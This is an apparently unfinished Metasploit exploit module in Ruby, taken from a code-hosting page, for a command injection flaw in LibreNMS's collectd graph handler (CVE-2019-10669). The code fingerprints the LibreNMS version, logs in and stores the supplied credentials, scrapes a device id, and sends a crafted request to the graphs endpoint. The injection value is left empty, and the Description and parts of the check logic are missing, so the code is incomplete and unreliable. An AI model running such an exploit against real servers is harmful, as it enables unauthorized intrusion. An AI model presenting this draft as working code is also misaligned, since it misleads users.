Shelby Pace
154 lines
4.6 KiB
Ruby
154 lines
4.6 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = ExcellentRanking
|
|
|
|
include Exploit::Remote::HttpClient
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'LibreNMS Collectd Command Injection',
|
|
'Description' => %q(
|
|
),
|
|
'License' => MSF_LICENSE,
|
|
'Author' =>
|
|
[
|
|
'Eldar Marcussen', # Vulnerability discovery
|
|
'Shelby Pace' # Metasploit module
|
|
],
|
|
'References' =>
|
|
[
|
|
[ 'CVE', '2019-10669' ],
|
|
[ 'URL', 'https://www.darkmatter.ae/xen1thlabs/librenms-command-injection-vulnerability-xl-19-017/' ]
|
|
],
|
|
'Targets' =>
|
|
[
|
|
[ 'Linux',
|
|
{
|
|
'Platform' => 'linux'
|
|
}
|
|
]
|
|
],
|
|
'DisclosureDate' => "2019-07-15",
|
|
'DefaultTarget' => 0
|
|
))
|
|
|
|
register_options(
|
|
[
|
|
OptString.new('TARGETURI', [ true, 'Base LibreNMS path', '/' ]),
|
|
OptString.new('USERNAME', [ true, 'User name for LibreNMS', '' ]),
|
|
OptString.new('PASSWORD', [ true, 'Password for LibreNMS', '' ])
|
|
])
|
|
end
|
|
|
|
def check
|
|
res = send_request_cgi!('method' => 'GET', 'uri' => target_uri.path)
|
|
return Exploit::CheckCode::Safe unless res && res.body.downcase.include?('librenms')
|
|
|
|
about_res = send_request_cgi(
|
|
'method' => 'GET',
|
|
'uri' => normalize_uri(target_uri.path, 'pages', 'about.inc.php')
|
|
)
|
|
|
|
return Exploit::CheckCode::Detected unless about_res && about_res.code == 200
|
|
|
|
version = about_res.body.match(/version\s+to\s+(\d+\.\d+\.?\d*)/)
|
|
return Exploit::CheckCode::Detected unless version && version.length > 1
|
|
vprint_status("LibreNMS version #{version[1]} detected")
|
|
version = Gem::Version.new(version[1])
|
|
|
|
return Exploit::CheckCode::Appears if version <= Gem::Version.new('1.50')
|
|
end
|
|
|
|
def login
|
|
login_uri = normalize_uri(target_uri.path, 'login')
|
|
res = send_request_cgi('method' => 'GET', 'uri' => login_uri)
|
|
fail_with(Failure::NotFound, 'Failed to access the login page') unless res && res.code == 200
|
|
|
|
cookies = res.get_cookies
|
|
login_res = send_request_cgi(
|
|
'method' => 'POST',
|
|
'uri' => login_uri,
|
|
'cookie' => cookies,
|
|
'vars_post' =>
|
|
{
|
|
'username' => datastore['USERNAME'],
|
|
'password' => datastore['PASSWORD']
|
|
}
|
|
)
|
|
|
|
fail_with(Failure::NoAccess, 'Failed to submit credentials to login page') unless login_res && login_res.code == 302
|
|
|
|
cookies = login_res.get_cookies
|
|
res = send_request_cgi(
|
|
'method' => 'GET',
|
|
'uri' => normalize_uri(target_uri.path),
|
|
'cookie' => cookies
|
|
)
|
|
|
|
print_status('Successfully logged into LibreNMS. Storing credentials...')
|
|
store_valid_credential(user: datastore['USERNAME'], private: datastore['PASSWORD'])
|
|
login_res.get_cookies
|
|
end
|
|
|
|
def get_device_id
|
|
dev_uri = normalize_uri(target_uri.path, 'ajax_table.php')
|
|
|
|
dev_res = send_request_cgi(
|
|
'method' => 'POST',
|
|
'uri' => dev_uri,
|
|
'cookie' => @cookies,
|
|
'vars_post' =>
|
|
{
|
|
'id' => 'devices',
|
|
'format' => '+list_detail',
|
|
'current' => '1',
|
|
'sort[hostname]' => 'asc',
|
|
'rowCount' => 50
|
|
}
|
|
)
|
|
|
|
fail_with(Failure::NotFound, 'Failed to access the devices page') unless dev_res && dev_res.code == 200
|
|
|
|
json = JSON.parse(dev_res.body)
|
|
fail_with(Failure::NotFound, 'Unable to retrieve JSON response') if json.empty?
|
|
|
|
json = json['rows']
|
|
fail_with(Failure::NotFound, 'Unable to find hostname data') if json.empty?
|
|
|
|
json = json.first.nil? ? nil : json.first['hostname']
|
|
fail_with(Failure::NotFound, 'Unable to find hostname data') if json.nil?
|
|
|
|
dev_id = json.match('href=\"device\/device=(\d+)\/')
|
|
fail_with(Failure::NotFound, 'Failed to retrieve device id') unless dev_id && dev_id.length > 1
|
|
|
|
dev_id
|
|
end
|
|
|
|
def exploit
|
|
req_uri = normalize_uri(target_uri.path, 'graphs', '/')
|
|
@cookies = login
|
|
|
|
dev_id = get_device_id
|
|
res = send_request_cgi(
|
|
'method' => 'GET',
|
|
'uri' => req_uri,
|
|
'cookie' => @cookies,
|
|
'vars_get' =>
|
|
{
|
|
'device' => dev_id,
|
|
'type' => 'device_collectd',
|
|
'to' => 'blah',
|
|
'from' => '',
|
|
'c_plugin' => 'test',
|
|
'c_type' => 'cpu',
|
|
'c_type_instance' => 'collectd'
|
|
}
|
|
)
|
|
|
|
end
|
|
end
|